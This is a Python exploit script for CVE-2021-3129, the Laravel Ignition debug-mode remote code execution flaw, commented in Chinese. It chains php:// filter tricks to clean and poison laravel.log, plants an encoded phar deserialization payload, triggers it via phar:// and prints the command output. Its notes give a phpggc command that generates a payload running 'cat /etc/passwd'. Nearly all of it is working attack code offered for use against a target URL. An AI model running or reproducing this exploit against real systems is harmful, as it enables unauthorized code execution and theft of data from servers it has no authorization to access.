laravel-CVE-2021-3129.py

import requests
import re
import json
import sys
import click
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

session = requests.Session()

headers = {"Accept": "application/json",
           "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) "
                         "Chrome/87.0.4280.88 Safari/537.36",
           "Connection": "close", "Sec-Fetch-Mode": "cors",
           "Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6"}


def get_debug(url):
    list_path = ["_ignition/execute-solution","flare/health-check"]
    for i in list_path:
        path = url + i
        debug_get = session.get(path, headers=headers, verify=False, timeout=15)
        if debug_get.status_code == 405:
            return i
        else:
            continue
    print("没有开启debug模式,正在退出........")
    sys.exit()


def get_path(url, debug_path):
    path = url + debug_path
    get = session.get(path, headers=headers, verify=False, timeout=15)
    return re.search(r"file\":.*\"(.*?)/vendor/laravel/framework/src/Illuminate/Routing/Router.php",
                     get.content.decode(), re.I).group(1)


def clean_cache(url, debug_path):
    global headers
    path = url + debug_path
    headers.update({"Content-Type": "application/json"})
    json_clear = {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
                  "parameters": {"variableName": "username",
                                 "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"}}
    json_data = json.dumps(json_clear, sort_keys=True, indent=4, separators=(',', ': '))
    session.post(path, data=json_data, headers=headers, verify=False, timeout=15)
    return None


def send_test(url, file_path, debug_path):
    path = url + debug_path
    json_test = {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
                 "parameters": {"variableName": "username",
                                "viewFile": f"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf16le.utf-8|convert.base64-decode/resource={file_path}/storage/logs/laravel.log"}}
    json_data = json.dumps(json_test, sort_keys=True, indent=4, separators=(',', ': '))
    session.post(path, data=json_data, headers=headers, verify=False, timeout=15)
    return None


def send_from(url, debug_path):
    path = url + debug_path
    json_from = {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
                 "parameters": {"variableName": "username",
                                "viewFile": "AA"}}
    json_data = json.dumps(json_from, sort_keys=True, indent=4, separators=(',', ': '))
    session.post(path, data=json_data, headers=headers, verify=False, timeout=15)
    return None


def send_poc(url, debug_path, phar):
    path = url + debug_path
    if phar is None:
        payload = "...............P=00D=009=00w=00a=00H=00A=00g=00X=001=009=00I=00Q=00U=00x=00U=00X=000=00N=00P=00T=00V" \
                  "=00B=00J=00T=00E=00V=00S=00K=00C=00k=007=00I=00D=008=00+=00D=00Q=00q=009=00A=00g=00A=00A=00A=00g=00A" \
                  "=00A=00A=00B=00E=00A=00A=00A=00A=00B=00A=00A=00A=00A=00A=00A=00B=00m=00A=00g=00A=00A=00T=00z=00o=00z" \
                  "=00M=00j=00o=00i=00T=00W=009=00u=00b=002=00x=00v=00Z=001=00x=00I=00Y=00W=005=00k=00b=00G=00V=00y=00X" \
                  "=00F=00N=005=00c=002=00x=00v=00Z=001=00V=00k=00c=00E=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i=00O=00j" \
                  "=00E=006=00e=003=00M=006=00O=00T=00o=00i=00A=00C=00o=00A=00c=002=009=00j=00a=002=00V=000=00I=00j=00t" \
                  "=00P=00O=00j=00I=005=00O=00i=00J=00N=00b=002=005=00v=00b=00G=009=00n=00X=00E=00h=00h=00b=00m=00R=00s" \
                  "=00Z=00X=00J=00c=00Q=00n=00V=00m=00Z=00m=00V=00y=00S=00G=00F=00u=00Z=00G=00x=00l=00c=00i=00I=006=00N" \
                  "=00z=00p=007=00c=00z=00o=00x=00M=00D=00o=00i=00A=00C=00o=00A=00a=00G=00F=00u=00Z=00G=00x=00l=00c=00i" \
                  "=00I=007=00T=00z=00o=00y=00O=00T=00o=00i=00T=00W=009=00u=00b=002=00x=00v=00Z=001=00x=00I=00Y=00W=005" \
                  "=00k=00b=00G=00V=00y=00X=00E=00J=001=00Z=00m=00Z=00l=00c=00k=00h=00h=00b=00m=00R=00s=00Z=00X=00I=00i" \
                  "=00O=00j=00c=006=00e=003=00M=006=00M=00T=00A=006=00I=00g=00A=00q=00A=00G=00h=00h=00b=00m=00R=00s=00Z" \
                  "=00X=00I=00i=00O=000=004=007=00c=00z=00o=00x=00M=00z=00o=00i=00A=00C=00o=00A=00Y=00n=00V=00m=00Z=00m" \
                  "=00V=00y=00U=002=00l=006=00Z=00S=00I=007=00a=00T=00o=00t=00M=00T=00t=00z=00O=00j=00k=006=00I=00g=00A" \
                  "=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00i=00I=007=00Y=00T=00o=00x=00O=00n=00t=00p=00O=00j=00A=007" \
                  "=00Y=00T=00o=00y=00O=00n=00t=00p=00O=00j=00A=007=00c=00z=00o=00y=00O=00i=00J=00p=00Z=00C=00I=007=00c" \
                  "=00z=00o=001=00O=00i=00J=00s=00Z=00X=00Z=00l=00b=00C=00I=007=00T=00j=00t=009=00f=00X=00M=006=00O=00D" \
                  "=00o=00i=00A=00C=00o=00A=00b=00G=00V=002=00Z=00W=00w=00i=00O=000=004=007=00c=00z=00o=00x=00N=00D=00o" \
                  "=00i=00A=00C=00o=00A=00a=00W=005=00p=00d=00G=00l=00h=00b=00G=00l=006=00Z=00W=00Q=00i=00O=002=00I=006" \
                  "=00M=00T=00t=00z=00O=00j=00E=000=00O=00i=00I=00A=00K=00g=00B=00i=00d=00W=00Z=00m=00Z=00X=00J=00M=00a" \
                  "=00W=001=00p=00d=00C=00I=007=00a=00T=00o=00t=00M=00T=00t=00z=00O=00j=00E=00z=00O=00i=00I=00A=00K=00g" \
                  "=00B=00w=00c=00m=009=00j=00Z=00X=00N=00z=00b=003=00J=00z=00I=00j=00t=00h=00O=00j=00I=006=00e=002=00k" \
                  "=006=00M=00D=00t=00z=00O=00j=00c=006=00I=00m=00N=001=00c=00n=00J=00l=00b=00n=00Q=00i=00O=002=00k=006" \
                  "=00M=00T=00t=00z=00O=00j=00Y=006=00I=00n=00N=005=00c=003=00R=00l=00b=00S=00I=007=00f=00X=001=00z=00O" \
                  "=00j=00E=00z=00O=00i=00I=00A=00K=00g=00B=00i=00d=00W=00Z=00m=00Z=00X=00J=00T=00a=00X=00p=00l=00I=00j" \
                  "=00t=00p=00O=00i=000=00x=00O=003=00M=006=00O=00T=00o=00i=00A=00C=00o=00A=00Y=00n=00V=00m=00Z=00m=00V" \
                  "=00y=00I=00j=00t=00h=00O=00j=00E=006=00e=002=00k=006=00M=00D=00t=00h=00O=00j=00I=006=00e=002=00k=006" \
                  "=00M=00D=00t=00z=00O=00j=00I=006=00I=00m=00l=00k=00I=00j=00t=00z=00O=00j=00U=006=00I=00m=00x=00l=00d" \
                  "=00m=00V=00s=00I=00j=00t=00O=00O=003=001=009=00c=00z=00o=004=00O=00i=00I=00A=00K=00g=00B=00s=00Z=00X" \
                  "=00Z=00l=00b=00C=00I=007=00T=00j=00t=00z=00O=00j=00E=000=00O=00i=00I=00A=00K=00g=00B=00p=00b=00m=00l" \
                  "=000=00a=00W=00F=00s=00a=00X=00p=00l=00Z=00C=00I=007=00Y=00j=00o=00x=00O=003=00M=006=00M=00T=00Q=006" \
                  "=00I=00g=00A=00q=00A=00G=00J=001=00Z=00m=00Z=00l=00c=00k=00x=00p=00b=00W=00l=000=00I=00j=00t=00p=00O" \
                  "=00i=000=00x=00O=003=00M=006=00M=00T=00M=006=00I=00g=00A=00q=00A=00H=00B=00y=00b=002=00N=00l=00c=003" \
                  "=00N=00v=00c=00n=00M=00i=00O=002=00E=006=00M=00j=00p=007=00a=00T=00o=00w=00O=003=00M=006=00N=00z=00o" \
                  "=00i=00Y=003=00V=00y=00c=00m=00V=00u=00d=00C=00I=007=00a=00T=00o=00x=00O=003=00M=006=00N=00j=00o=00i" \
                  "=00c=003=00l=00z=00d=00G=00V=00t=00I=00j=00t=009=00f=00X=000=00F=00A=00A=00A=00A=00Z=00H=00V=00t=00b" \
                  "=00X=00k=00E=00A=00A=00A=00A=00t=00u=00H=00+=00X=00w=00Q=00A=00A=00A=00A=00M=00f=00n=00/=00Y=00p=00A" \
                  "=00E=00A=00A=00A=00A=00A=00A=00A=00A=00I=00A=00A=00A=00A=00d=00G=00V=00z=00d=00C=005=000=00e=00H=00Q" \
                  "=00E=00A=00A=00A=00A=00t=00u=00H=00+=00X=00w=00Q=00A=00A=00A=00A=00M=00f=00n=00/=00Y=00p=00A=00E=00A" \
                  "=00A=00A=00A=00A=00A=00A=00B=000=00Z=00X=00N=000=00d=00G=00V=00z=00d=00J=00I=00Z=008=00g=00/=00c=009" \
                  "=00p=00l=00b=00i=00C=00y=00N=00i=00M=00P=00A=00R=00G=008=00t=00M=00P=002=00S=00A=00g=00A=00A=00A=00E" \
                  "=00d=00C=00T=00U=00I=00"
    else:
        with open(phar, "r", encoding="utf-8") as f:
            data = f.read()
            if (len(data) % 2) == 0:
                payload = "." + data
            else:
                payload = ".." + data
    json_poc = {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
                "parameters": {"variableName": "username",
                               "viewFile": f"{payload}"}}
    json_data = json.dumps(json_poc, sort_keys=True, indent=4, separators=(',', ': '))
    session.post(path, data=json_data, headers=headers, verify=False, timeout=15)
    return None


def send_turn(url, file_path, debug_path):
    global headers
    path = url + debug_path
    headers.update({"Origin": f"{url}", "Referer": f"{url}", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Dest": "empty",
                    "Accept-Encoding": "gzip, deflate"})
    json_turn = {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
                 "parameters": {"variableName": "username",
                                "viewFile": f"php://filter/write=convert.quoted-printable-decode|convert.iconv.utf"
                                            f"-16le.utf-8|convert.base64-decode/resource={file_path}/storage/logs/laravel.log"}}
    json_data = json.dumps(json_turn, sort_keys=True, indent=4, separators=(',', ': '))
    session.post(path, data=json_data, headers=headers, verify=False, timeout=15)
    return None


def send_phar(url, file_path, debug_path):
    path = url + debug_path
    json_phar = {"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
                 "parameters": {"variableName": "username",
                                "viewFile": f"phar://{file_path}/storage/logs/laravel.log"}}
    json_data = json.dumps(json_phar, sort_keys=True, indent=4, separators=(',', ': '))
    Result = session.post(path, data=json_data, headers=headers, verify=False, timeout=15)
    # print(Result.content)
    return Result.content.decode()


"""
(try get_path group正则报错)
分为俩种模式：
1、日志方式。(当ignition版本小于1.5时,请求的路径不再是_ignition/execute-solution,而是flare/execute-solution)
弊端: 如果目标修改日志路径需要花费时间爆破,并且有时可能需要多次才能成功。
2、ftp远程调用


生成命令的phar：
php -d'phar.readonly=0' ./phpggc monolog/rce1 system "cat /etc/passwd" --phar phar -o php://output | base64 -w0

php -a 进入php命令行环境
$fp = fopen('php://output', 'w');
stream_filter_append($fp, 'convert.quoted-printable-encode');
$size = "";
fwrite($fp, iconv('utf-8','utf-16le',$size));

手工复现的时候：此处需要注意，如果生成的payload为偶数需要在前面加一个 . 让其变成奇数，如果是奇数则无需理会，因为在转换的时候只有奇数才会转换成功。
脚本已经内置了方法，如果使用脚本攻击的话则忽略。
"""


@click.command()
@click.option('--url', type=str, help='目标url地址.')
@click.option('--number', default=5, type=int, help='添加循环利用次数.')
@click.option('--phar', type=str, help='添加phar的包.')
def parameter(url, number, phar):
    """
    python laravel.py --url "http(s)://192.168.0.109:8000/" \n
    python laravel.py --url "http(s)://192.168.0.109:8000/" --phar test.phar\n

    自定义命令的方式请查看redeme.txt
    """
    if url is None:
        click.echo("Usage: Build.py [OPTIONS]")
        sys.exit()
    try:
        if url.endswith("/"):
            pass
        else:
            url = url + "/"
        for a in range(number):
            print("正在尝试第" + str(a + 1) + "次利用")
            debug_path = get_debug(url)
            print("正在清除日志.....")
            file_path = get_path(url, debug_path)
            clean_cache(url, debug_path)
            send_test(url, file_path, debug_path)
            send_from(url, debug_path)
            send_poc(url, debug_path, phar)
            send_turn(url, file_path, debug_path)
            cmd = send_phar(url, file_path, debug_path).split('}')[-1]
            if cmd != "":
                print("利用成功, 命令执行结果: \n" + cmd)
                sys.exit()
            else:
                print("没有发现漏洞可能是日志问题或者对方服务器没有这个命令")
                if a+1 == number:
                    print("可能的原因: 漏洞不存在 或 指定--number调大循环次数再次尝试")
                    sys.exit()
                else:
                    print("正在准备下一次检测....\n")
                continue
    except Exception as e:
        print(e)


if __name__ == "__main__":
    parameter()